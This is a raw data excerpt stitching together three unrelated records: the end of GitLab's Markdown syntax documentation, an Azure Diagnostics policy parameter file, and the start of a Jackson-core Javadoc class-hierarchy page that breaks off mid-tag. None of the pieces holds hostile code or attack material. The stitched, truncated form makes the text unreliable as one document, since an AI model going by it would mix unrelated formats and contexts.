_part_ of a word, especially when you're\ndealing with code and names that often appear with multiple underscores. As a result,\nGFM extends the standard Markdown standard by ignoring multiple underlines in words,\nto allow better rendering of Markdown documents discussing code:\n\n```markdown\nperform_complicated_task\n\ndo_this_and_do_that_and_another_thing\n\nbut_emphasis is_desired _here_\n```\n\nperform_complicated_task\n\ndo_this_and_do_that_and_another_thing\n\nbut_emphasis is_desired _here_\n\n---\n\nIf you wish to emphasize only a part of a word, it can still be done with asterisks:\n\n```markdown\nperform*complicated*task\n\ndo*this*and*do*that*and*another thing\n```\n\nperform*complicated*task\n\ndo*this*and*do*that*and*another thing\n\n### Footnotes\n\nFootnotes add a link to a note that are rendered at the end of a Markdown file.\n\nTo make a footnote, you need both a reference tag and a separate line (anywhere in the file) with\nthe note content.\n\nRegardless of the tag names, the relative order of the reference tags determines the rendered\nnumbering.\n\nReference tags can use letters and other characters. Avoid using lowercase `w` or an underscore\n(`_`) in footnote tag names until [this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/24423) is\nresolved.\n\n<!--\nDo not edit the following codeblock. It uses HTML to skip the Vale ReferenceLinks test.\n-->\n\n<pre class=\"highlight\"><code>A footnote reference tag looks like this: [^1]\n\nThis reference tag is a mix of letters and numbers. [^footnote-42]\n\n&#91;^1]: This is the text inside a footnote.\n\n&#91;^footnote-42]: This is another footnote.\n</code></pre>\n\nA footnote reference tag looks like this:[^1]\n\nThis reference tag is a mix of letters and numbers.[^footnote-42]\n\n<!--\nDo not delete the single space before the [^1] and [^footnotes] references below.\nThese are used to force the Vale ReferenceLinks check to skip these examples.\n-->\n\n [^1]: This is the text inside a footnote.\n\n [^footnote-42]: This is another footnote.\n\n### Headers\n\n```markdown\n# H1\n## H2\n### H3\n#### H4\n##### H5\n###### H6\n\nAlternatively, for H1 and H2, an underline-ish style:\n\nAlt-H1\n======\n\nAlt-H2\n------\n```\n\n#### Header IDs and links\n\nGFM extends the standard Markdown standard so that all Markdown-rendered headers automatically\nget IDs, which can be linked to, except in comments.\n\nOn hover, a link to those IDs becomes visible to make it easier to copy the link to\nthe header to use it somewhere else.\n\nThe IDs are generated from the content of the header according to the following rules:\n\n1. All text is converted to lowercase.\n1. All non-word text (such as punctuation or HTML) is removed.\n1. All spaces are converted to hyphens.\n1. Two or more hyphens in a row are converted to one.\n1. If a header with the same ID has already been generated, a unique\n incrementing number is appended, starting at 1.\n\nExample:\n\n```markdown\n# This header has spaces in it\n## This header has a :thumbsup: in it\n# This header has Unicode in it: 한글\n## This header has spaces in it\n### This header has spaces in it\n## This header has 3.5 in it (and parentheses)\n```\n\nWould generate the following link IDs:\n\n1. `this-header-has-spaces-in-it`\n1. `this-header-has-a-in-it`\n1. `this-header-has-unicode-in-it-한글`\n1. `this-header-has-spaces-in-it-1`\n1. `this-header-has-spaces-in-it-2`\n1. `this-header-has-3-5-in-it-and-parentheses`\n\nNote that the emoji processing happens before the header IDs are generated, so the\nemoji is converted to an image which is then removed from the ID.\n\n### Horizontal Rule\n\nIt's very simple to create a horizontal rule, by using three or more hyphens, asterisks,\nor underscores:\n\n```markdown\nThree or more hyphens,\n\n---\n\nasterisks,\n\n***\n\nor underscores\n\n___\n```\n\n### Images\n\nExamples:\n\n<!--\nDo not edit the following codeblock. It uses HTML to skip the Vale ReferenceLinks test.\n-->\n\n<pre class=\"highlight\"><code>Inline-style (hover to see title text):\n\n![alt text](img/markdown_logo.png \"Title Text\")\n\nReference-style (hover to see title text):\n\n![alt text1][logo]\n\n&#91;logo]: img/markdown_logo.png \"Title Text\"\n</code></pre>\n\n<!--\nDO NOT change the name of markdown_logo.png. This is used for a test in\nspec/controllers/help_controller_spec.rb.\n-->\n\nInline-style (hover to see title text):\n\n![alt text](img/markdown_logo.png \"Title Text\")\n\nReference-style (hover to see title text):\n\n<!--\nThe example below uses an in-line link to pass the Vale ReferenceLinks test.\nDo not change to a reference style link.\n-->\n\n![alt text](img/markdown_logo.png \"Title Text\")\n\n#### Videos\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#videos).\n\nImage tags that link to files with a video extension are automatically converted to\na video player. The valid video extensions are `.mp4`, `.m4v`, `.mov`, `.webm`, and `.ogv`:\n\n```markdown\nHere's a sample video:\n\n![Sample Video](img/markdown_video.mp4)\n```\n\nHere's a sample video:\n\n![Sample Video](img/markdown_video.mp4)\n\n#### Audio\n\n> If this is not rendered correctly, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#audio).\n\nSimilar to videos, link tags for files with an audio extension are automatically converted to\nan audio player. The valid audio extensions are `.mp3`, `.oga`, `.ogg`, `.spx`, and `.wav`:\n\n```markdown\nHere's a sample audio clip:\n\n![Sample Audio](img/markdown_audio.mp3)\n```\n\nHere's a sample audio clip:\n\n![Sample Audio](img/markdown_audio.mp3)\n\n### Inline HTML\n\n> To see the Markdown rendered within HTML in the second example, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#inline-html).\n\nYou can also use raw HTML in your Markdown, and it usually works pretty well.\n\nSee the documentation for HTML::Pipeline's [SanitizationFilter](https://github.com/jch/html-pipeline/blob/v2.12.3/lib/html/pipeline/sanitization_filter.rb#L42)\nclass for the list of allowed HTML tags and attributes. In addition to the default\n`SanitizationFilter` allowlist, GitLab allows `span`, `abbr`, `details` and `summary` elements.\n\n```html\n<dl>\n <dt>Definition list</dt>\n <dd>Is something people use sometimes.</dd>\n\n <dt>Markdown in HTML</dt>\n <dd>Does *not* work **very** well. HTML <em>tags</em> do <b>work</b>, in most cases.</dd>\n</dl>\n```\n\n<dl>\n <dt>Definition list</dt>\n <dd>Is something people use sometimes.</dd>\n\n <dt>Markdown in HTML</dt>\n <dd>Does *not* work **very** well. HTML <em>tags</em> do <b>work</b>, in most cases.</dd>\n</dl>\n\n---\n\nIt's still possible to use Markdown inside HTML tags, but only if the lines containing Markdown\nare separated into their own lines:\n\n```html\n<dl>\n <dt>Markdown in HTML</dt>\n <dd>Does *not* work **very** well. HTML tags work, in most cases.</dd>\n\n <dt>Markdown in HTML</dt>\n <dd>\n\n Does *not* work **very** well. HTML tags work, in most cases.\n\n </dd>\n</dl>\n```\n\n<!--\nNote: The example below uses HTML to force correct rendering on docs.gitlab.com,\nMarkdown is fine in GitLab.\n-->\n\n<dl>\n <dt>Markdown in HTML</dt>\n <dd>Does *not* work **very** well. HTML tags work, in most cases.</dd>\n\n <dt>Markdown in HTML</dt>\n <dd>\n\n Does <em>not</em> work <b>very</b> well. HTML tags work, in most cases.\n\n </dd>\n</dl>\n\n#### Details and summary\n\n> To see the Markdown rendered within HTML in the second example, [view it in GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#details-and-summary).\n\nContent can be collapsed using HTML's [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details)\nand [`<summary>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary)\ntags. This is especially useful for collapsing long logs so they take up less screen space.\n\n```html\n<p>\n<details>\n<summary>Click this to collapse/fold.</summary>\n\nThese details <em>remain</em> <strong>hidden</strong> until expanded.\n\n<pre><code>PASTE LOGS HERE</code></pre>\n\n</details>\n</p>\n```\n\n<p>\n<details>\n<summary>Click this to collapse/fold.</summary>\n\nThese details <em>remain</em> <strong>hidden</strong> until expanded.\n\n<pre><code>PASTE LOGS HERE</code></pre>\n\n</details>\n</p>\n\n---\n\nMarkdown inside these tags is supported as well.\n\nNOTE: **Note:**\nIf your Markdown isn't rendering correctly, try adding\n`{::options parse_block_html=\"true\" /}` to the top of the page, and add\n`markdown=\"span\"` to the opening summary tag like this: `<summary markdown=\"span\">`.\n\nRemember to leave a blank line after the `</summary>` tag and before the `</details>` tag,\nas shown in the example:\n\n````html\n<details>\n<summary>Click this to collapse/fold.</summary>\n\nThese details _remain_ **hidden** until expanded.\n\n```\nPASTE LOGS HERE\n```\n\n</details>\n````\n\n<!--\nThe example below uses HTML to force correct rendering on docs.gitlab.com, Markdown\nworks correctly in GitLab.\n-->\n\n<details>\n<summary>Click this to collapse/fold.</summary>\n\nThese details <em>remain</em> <b>hidden</b> until expanded.\n\n<pre><code>PASTE LOGS HERE</code></pre>\n\n</details>\n\n### Line breaks\n\nA line break is inserted (a new paragraph starts) if the previous text is\nended with two newlines, like when you hit <kbd>Enter</kbd> twice in a row. If you only\nuse one newline (hit <kbd>Enter</kbd> once), the next sentence remains part of the\nsame paragraph. This is useful if you want to keep long lines from wrapping, and keep\nthem editable:\n\n```markdown\nHere's a line for us to start with.\n\nThis longer line is separated from the one above by two newlines, so it is a *separate paragraph*.\n\nThis line is also a separate paragraph, but...\nThese lines are only separated by single newlines,\nso they *do not break* and just follow the previous lines\nin the *same paragraph*.\n```\n\nHere's a line for us to start with.\n\nThis longer line is separated from the one above by two newlines, so it is a *separate paragraph*.\n\nThis line is also a separate paragraph, but...\nThese lines are only separated by single newlines,\nso they *do not break* and just follow the previous lines\nin the *same paragraph*.\n\n#### Newlines\n\nGFM adheres to the Markdown specification in how [paragraphs and line breaks are handled](https://spec.commonmark.org/current/).\n\nA paragraph is one or more consecutive lines of text, separated by one or\nmore blank lines (two newlines at the end of the first paragraph), as [explained above](#line-breaks).\n\nIf you need more control over line breaks or soft returns, you can add a single line break\nby ending a line with a backslash, or two or more spaces. Two newlines in a row create a new\nparagraph, with a blank line in between:\n\n```markdown\nFirst paragraph.\nAnother line in the same paragraph.\nA third line in the same paragraph, but this time ending with two spaces.{space}{space}\nA new line directly under the first paragraph.\n\nSecond paragraph.\nAnother line, this time ending with a backslash.\\\nA new line due to the previous backslash.\n```\n\n### Links\n\nThere are two ways to create links, inline-style and reference-style:\n\n<!--\nDo not edit the following codeblock. It uses HTML to skip the Vale ReferenceLinks test.\n-->\n\n<pre class=\"highlight\"><code>- This is an [inline-style link](https://www.google.com)\n- This is a [link to a repository file in the same directory](index.md)\n- This is a [relative link to a readme one directory higher](../README.md)\n- This is a [link that also has title text](https://www.google.com \"This link takes you to Google!\")\n\nUsing header ID anchors:\n\n- This links to [a section on a different Markdown page, using a \"#\" and the header ID](index.md#overview)\n- This links to [a different section on the same page, using a \"#\" and the header ID](#header-ids-and-links)\n\nUsing references:\n\n- This is a [reference-style link, see below][Arbitrary case-insensitive reference text]\n- You can [use numbers for reference-style link definitions, see below][1]\n- Or leave it empty and use the [link text itself][], see below.\n\nSome text to show that the reference links can follow later.\n\n&#91;arbitrary case-insensitive reference text]: https://www.mozilla.org/en-US/\n&#91;1]: https://slashdot.org\n&#91;link text itself]: https://www.reddit.com\n</code></pre>\n\n- This is an [inline-style link](https://www.google.com)\n- This is a [link to a repository file in the same directory](index.md)\n- This is a [relative link to a README one directory higher](../README.md)\n- This is a [link that also has title text](https://www.google.com \"This link takes you to Google!\")\n\nUsing header ID anchors:\n\n- This links to [a section on a different Markdown page, using a \"#\" and the header ID](index.md#overview)\n- This links to [a different section on the same page, using a \"#\" and the header ID](#header-ids-and-links)\n\nUsing references:\n\n<!--\nThe example below uses in-line links to pass the Vale ReferenceLinks test.\nDo not change to reference style links.\n-->\n\n- This is a [reference-style link, see below](https://www.mozilla.org/en-US/)\n- You can [use numbers for reference-style link definitions, see below](https://slashdot.org)\n- Or leave it empty and use the [link text itself](https://www.reddit.com), see below.\n\nSome text to show that the reference links can follow later.\n\nNOTE: **Note:**\nRelative links do not allow the referencing of project files in a wiki\npage, or a wiki page in a project file. The reason for this is that a wiki is always\nin a separate Git repository in GitLab. For example, `[I'm a reference-style link](style)`\npoints the link to `wikis/style` only when the link is inside of a wiki Markdown file.\n\n#### URL auto-linking\n\nGFM auto-links almost any URL you put into your text:\n\n```markdown\n- https://www.google.com\n- https://www.google.com\n- ftp://ftp.us.debian.org/debian/\n- smb://foo/bar/baz\n- irc://irc.freenode.net/\n- http://localhost:3000\n```\n\n- <https://www.google.com>\n- <https://www.google.com>\n- <ftp://ftp.us.debian.org/debian/>\n- <smb://foo/bar/baz>\n- <irc://irc.freenode.net/>\n- <http://localhost:3000>\n\n### Lists\n\nOrdered and unordered lists can be created.\n\nFor an ordered list, add the number you want the list\nto start with, like `1.`, followed by a space, at the start of each line for ordered lists.\nAfter the first number, it does not matter what number you use, ordered lists are\nnumbered automatically by vertical order, so repeating `1.` for all items in the\nsame list is common. If you start with a number other than `1.`, it uses that as the first\nnumber, and count up from there.\n\nExamples:\n\n```markdown\n1. First ordered list item\n2. Another item\n - Unordered sub-list.\n1. Actual numbers don't matter, just that it's a number\n 1. Ordered sub-list\n 1. Next ordered sub-list item\n4. And another item.\n```\n\n<!--\nThe \"2.\" and \"4.\" in the example above are changed to \"1.\" below, to match the style\nstandards on docs.gitlab.com.\nSee https://docs.gitlab.com/ee/development/documentation/styleguide.html#lists\n-->\n\n1. First ordered list item\n1. Another item\n - Unordered sub-list.\n1. Actual numbers don't matter, just that it's a number\n 1. Ordered sub-list\n 1. Next ordered sub-list item\n1. And another item.\n\nFor an unordered list, add a `-`, `*` or `+`, followed by a space, at the start of\neach line for unordered lists, but you should not use a mix of them.\n\n```markdown\nUnordered lists can:\n\n- use\n- minuses\n\nThey can also:\n\n* use\n* asterisks\n\nThey can even:\n\n+ use\n+ pluses\n```\n\n<!--\nThe \"*\" and \"+\" in the example above are changed to \"-\" below, to match the style\nstandards on docs.gitlab.com.\nSee https://docs.gitlab.com/ee/development/documentation/styleguide.html#lists\n-->\n\nUnordered lists can:\n\n- use\n- minuses\n\nThey can also:\n\n- use\n- asterisks\n\nThey can even:\n\n- use\n- pluses\n\n---\n\nIf a list item contains multiple paragraphs, each subsequent paragraph should be indented\nto the same level as the start of the list item text.\n\nExample:\n\n```markdown\n1. First ordered list item\n\n Second paragraph of first item.\n\n1. Another item\n```\n\n1. First ordered list item\n\n Second paragraph of first item.\n\n1. Another item\n\n---\n\nIf the paragraph of the first item is not indented with the proper number of spaces,\nthe paragraph appears outside the list, instead of properly indented under the list item.\n\nExample:\n\n```markdown\n1. First ordered list item\n\n Paragraph of first item.\n\n1. Another item\n```\n\n1. First ordered list item\n\n Paragraph of first item.\n\n1. Another item\n\n### Superscripts / Subscripts\n\nCurrently, CommonMark and GFM don't support the superscript syntax ( `x^2` ) that\nRedcarpet does. You can use the standard HTML syntax for superscripts and subscripts:\n\n```html\nThe formula for water is H<sub>2</sub>O\nwhile the equation for the theory of relativity is E = mc<sup>2</sup>.\n```\n\nThe formula for water is H<sub>2</sub>O\nwhile the equation for the theory of relativity is E = mc<sup>2</sup>.\n\n### Tables\n\nTables are not part of the core Markdown spec, but they are part of GFM.\n\n1. The first line contains the headers, separated by \"pipes\" (`|`).\n1. The second line separates the headers from the cells, and must contain three or more dashes.\n1. The third, and any following lines, contain the cell values.\n - You **can't** have cells separated over many lines in the Markdown, they must be kept to single lines,\n but they can be very long. You can also include HTML `<br>` tags to force newlines if needed.\n - The cell sizes **don't** have to match each other. They are flexible, but must be separated\n by pipes (`|`).\n - You **can** have blank cells.\n\nExample:\n\n```markdown\n| header 1 | header 2 | header 3 |\n| --- | ------ |---------:|\n| cell 1 | cell 2 | cell 3 |\n| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. |\n| cell 7 | | cell <br> 9 |\n| cell 10 | <ul><li> - [ ] Task One </li></ul> | <ul><li> - [ ] Task Two </li><li> - [ ] Task Three </li></ul> |\n```\n\n| header 1 | header 2 | header 3 |\n| --- | ------ |---------:|\n| cell 1 | cell 2 | cell 3 |\n| cell 4 | cell 5 is longer | cell 6 is much longer than the others, but that's ok. It eventually wraps the text when the cell is too large for the display size. |\n| cell 7 | | cell <br> 9 |\n| cell 10 | <ul><li> - [ ] Task One </li></ul> | <ul><li> - [ ] Task Two </li><li> - [ ] Task Three </li></ul> |\n\nAdditionally, you can choose the alignment of text within columns by adding colons (`:`)\nto the sides of the \"dash\" lines in the second row. This affects every cell in the column.\n\nNOTE: **Note:**\n[Within GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#tables),\nthe headers are always left-aligned in Chrome and Firefox, and centered in Safari.\n\n```markdown\n| Left Aligned | Centered | Right Aligned | Left Aligned | Centered | Right Aligned |\n| :--- | :---: | ---: | :----------- | :------: | ------------: |\n| Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 |\n| Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 |\n```\n\n| Left Aligned | Centered | Right Aligned | Left Aligned | Centered | Right Aligned |\n| :--- | :---: | ---: | :----------- | :------: | ------------: |\n| Cell 1 | Cell 2 | Cell 3 | Cell 4 | Cell 5 | Cell 6 |\n| Cell 7 | Cell 8 | Cell 9 | Cell 10 | Cell 11 | Cell 12 |\n\n#### Copy from spreadsheet and paste in Markdown\n\n[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27205) in GitLab 12.7.\n\nIf you're working in spreadsheet software (for example, Microsoft Excel, Google\nSheets, or Apple Numbers), you can copy from a spreadsheet, and GitLab\npastes it as a Markdown table. For example, suppose you have the\nfollowing spreadsheet:\n\n![Copy from spreadsheet](img/markdown_copy_from_spreadsheet_v12_7.png)\n\nSelect the cells and copy them to your clipboard. Open a GitLab Markdown\nentry and paste the spreadsheet:\n\n![Paste to Markdown table](img/markdown_paste_table_v12_7.png)\n\n## References\n\n- This document leveraged heavily from the [Markdown-Cheatsheet](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet).\n- The original [Markdown Syntax Guide](https://daringfireball.net/projects/markdown/syntax)\n at Daring Fireball is an excellent resource for a detailed explanation of standard Markdown.\n- The detailed specification for CommonMark can be found in the [CommonMark Spec](https://spec.commonmark.org/current/)\n- The [CommonMark Dingus](http://try.commonmark.org) is a handy tool for testing CommonMark syntax.\n"} {"text": "{\n \"profileName\": {\n \"type\": \"String\",\n \"metadata\": {\n \"displayName\": \"Profile Name for Config\",\n \"description\": \"The profile name Azure Diagnostics\"\n }\n },\n \"logAnalytics\": {\n \"type\": \"string\",\n \"metadata\": {\n \"displayName\": \"logAnalytics\",\n \"description\": \"The target Log Analytics Workspace for Azure Diagnostics\",\n \"strongType\": \"omsWorkspace\"\n }\n },\n \"azureRegions\": {\n \"type\": \"Array\",\n \"metadata\": {\n \"displayName\": \"Allowed Locations\",\n \"description\": \"The list of locations that can be specified when deploying resources\",\n \"strongType\": \"location\"\n }\n },\n \"metricsEnabled\": {\n \"type\": \"String\",\n \"metadata\": {\n \"displayName\": \"Enable Metrics\",\n \"description\": \"Enable Metrics - True or False\"\n },\n \"allowedValues\": [\n \"True\",\n \"False\"\n ],\n \"defaultValue\": \"False\"\n },\n \"logsEnabled\": {\n \"type\": \"String\",\n \"metadata\": {\n \"displayName\": \"Enable Logs\",\n \"description\": \"Enable Logs - True or False\"\n },\n \"allowedValues\": [\n \"True\",\n \"False\"\n ],\n \"defaultValue\": \"True\"\n }\n}"} {"text": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<!-- NewPage -->\n<html lang=\"en\">\n<head>\n<!-- Generated by javadoc (1.8.0_162) on Wed Sep 25 19:22:24 PDT 2019 -->\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Class Hierarchy (Jackson-core 2.10.0 API)</title>\n<meta name=\"date\" content=\"2019-09-25\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"stylesheet.css\" title=\"Style\">\n<script type=\"text/javascript\" src=\"script.js\"></script>\n</head>\n<body>\n<script type=\"text/javascript\"><!--\n try {\n if (location.href.indexOf('is-external=true') == -1) {\n parent.document.title=\"Class Hierarchy (Jackson-core 2.10.0 API)\";\n }\n }\n catch(err) {\n }\n//-->\n</script>\n<noscript>\n<div>JavaScript is disabled on your browser.</div>\n</noscript>\n<!-- ========= START OF TOP NAVBAR ======= -->\n<div class=\"topNav\"><a name=\"navbar.top\">\n<!-- -->\n</a>\n<div class=\"skipNav\"><a href=\"#skip.navbar.top\" title=\"Skip navigation links\">Skip navigation links</a></div>\n<a name=\"navbar.top.firstrow\">\n<!-- -->\n</a>\n<ul class=\"navList\" title=\"Navigation\">\n<li><a href=\"overview-summary.html\">Overview</a></li>\n<li>Package</li>\n<li>Class</li>\n<li>Use</li>\n<li class=\"navBarCell1Rev\">Tree</li>\n<li><a href=\"deprecated-list.html\">Deprecated</a></li>\n<li><a href=\"index-all.html\">Index</a></li>\n<li><a href=\"help-doc.html\">Help</a></li>\n</ul>\n</div>\n<div class=\"subNav\">\n<ul class=\"navList\">\n<li>Prev</li>\n<li>Next</li>\n</ul>\n<ul class=\"navList\">\n<li><a href=\"index.html?overview-tree.html\" target=\"_top\">Frames</a></li>\n<li><a href=\"overview-tree.html\" target=\"_top\">No&nbsp;Frames</a></li>\n</ul>\n<ul class=\"navList\" id=\"allclasses_navbar_top\">\n<li><a href=\"allclasses-noframe.html\">All&nbsp;Classes</a></li>\n</ul>\n<div>\n<script type=\"text/javascript\"><!--\n allClassesLink = document.getElementById(\"allclasses_navbar_top\");\n if(window==top) {\n allClassesLink.style.display = \"block\";\n }\n else {\n allClassesLink.style.display = \"none\";\n }\n //-->\n</script>\n</div>\n<a name=\"skip.navbar.top\">\n<!-- -->\n</a></div>\n<!-- ========= END OF TOP NAVBAR ========= -->\n<div class=\"header\">\n<h1 class=\"title\">Hierarchy For All Packages</h1>\n<span class=\"packageHierarchyLabel\">Package Hierarchies:</span>\n<ul class=\"horizontal\">\n<li><a href=\"com/fasterxml/jackson/core/package-tree.html\">com.fasterxml.jackson.core</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/async/package-tree.html\">com.fasterxml.jackson.core.async</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/base/package-tree.html\">com.fasterxml.jackson.core.base</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/exc/package-tree.html\">com.fasterxml.jackson.core.exc</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/filter/package-tree.html\">com.fasterxml.jackson.core.filter</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/format/package-tree.html\">com.fasterxml.jackson.core.format</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/io/package-tree.html\">com.fasterxml.jackson.core.io</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/json/package-tree.html\">com.fasterxml.jackson.core.json</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/json/async/package-tree.html\">com.fasterxml.jackson.core.json.async</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/sym/package-tree.html\">com.fasterxml.jackson.core.sym</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/type/package-tree.html\">com.fasterxml.jackson.core.type</a>, </li>\n<li><a href=\"com/fasterxml/jackson/core/util/package-tree.html\">com.fasterxml.jackson.core.util</a></li>\n</ul>\n</div>\n<div class=\"contentContainer\">\n<h2 title=\"Class Hierarchy\">Class Hierarchy</h2>\n<ul>\n<li type=\"circle\">java.lang.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/lang/Object.html?is-external=true\" title=\"class or interface in java.lang\"><span class=\"typeNameLink\">Object</span></a>\n<ul>\n<li type=\"circle\">java.util.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/AbstractMap.html?is-external=true\" title=\"class or interface in java.util\"><span class=\"typeNameLink\">AbstractMap</span></a>&lt;K,V&gt; (implements java.util.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Map.html?is-external=true\" title=\"class or interface in java.util\">Map</a>&lt;K,V&gt;)\n<ul>\n<li type=\"circle\">java.util.concurrent.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html?is-external=true\" title=\"class or interface in java.util.concurrent\"><span class=\"typeNameLink\">ConcurrentHashMap</span></a>&lt;K,V&gt; (implements java.util.concurrent.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentMap.html?is-external=true\" title=\"class or interface in java.util.concurrent\">ConcurrentMap</a>&lt;K,V&gt;, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/InternCache.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">InternCache</span></a></li>\n</ul>\n</li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Base64Variant.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">Base64Variant</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/Base64Variants.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">Base64Variants</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/BufferRecycler.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">BufferRecycler</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/BufferRecyclers.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">BufferRecyclers</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/ByteQuadsCanonicalizer.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">ByteQuadsCanonicalizer</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/ByteSourceJsonBootstrapper.html\" title=\"class in com.fasterxml.jackson.core.json\"><span class=\"typeNameLink\">ByteSourceJsonBootstrapper</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/CharacterEscapes.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">CharacterEscapes</span></a> (implements java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/JsonpCharacterEscapes.html\" title=\"class in com.fasterxml.jackson.core\"><span class=\"typeNameLink\">JsonpCharacterEscapes</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.sym.<a href=\"com/fasterxml/jackson/core/sym/CharsToNameCanonicalizer.html\" title=\"class in com.fasterxml.jackson.core.sym\"><span class=\"typeNameLink\">CharsToNameCanonicalizer</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.io.<a href=\"com/fasterxml/jackson/core/io/CharTypes.html\" title=\"class in com.fasterxml.jackson.core.io\"><span class=\"typeNameLink\">CharTypes</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.format.<a href=\"com/fasterxml/jackson/core/format/DataFormatDetector.html\" title=\"class in com.fasterxml.jackson.core.format\"><span class=\"typeNameLink\">DataFormatDetector</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.format.<a href=\"com/fasterxml/jackson/core/format/DataFormatMatcher.html\" title=\"class in com.fasterxml.jackson.core.format\"><span class=\"typeNameLink\">DataFormatMatcher</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/DefaultPrettyPrinter.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">DefaultPrettyPrinter</span></a> (implements com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/Instantiatable.html\" title=\"interface in com.fasterxml.jackson.core.util\">Instantiatable</a>&lt;T&gt;, com.fasterxml.jackson.core.<a href=\"com/fasterxml/jackson/core/PrettyPrinter.html\" title=\"interface in com.fasterxml.jackson.core\">PrettyPrinter</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)</li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/DefaultPrettyPrinter.NopIndenter.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">DefaultPrettyPrinter.NopIndenter</span></a> (implements com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/DefaultPrettyPrinter.Indenter.html\" title=\"interface in com.fasterxml.jackson.core.util\">DefaultPrettyPrinter.Indenter</a>, java.io.<a href=\"https://docs.oracle.com/javase/8/docs/api/java/io/Serializable.html?is-external=true\" title=\"class or interface in java.io\">Serializable</a>)\n<ul>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/DefaultIndenter.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">DefaultIndenter</span></a></li>\n<li type=\"circle\">com.fasterxml.jackson.core.util.<a href=\"com/fasterxml/jackson/core/util/DefaultPrettyPrinter.FixedSpaceIndenter.html\" title=\"class in com.fasterxml.jackson.core.util\"><span class=\"typeNameLink\">DefaultPrettyPrinter.FixedSpaceIndenter</span></a></li>\n</ul>\n</li>\n<li type=\"circle\">com.fasterxml.jackson.core.json.<a href=\"com/fasterxml/jackson/core/json/DupDetector.html\" title=\"class in com.fasterxml.jackson.core.json\"><span 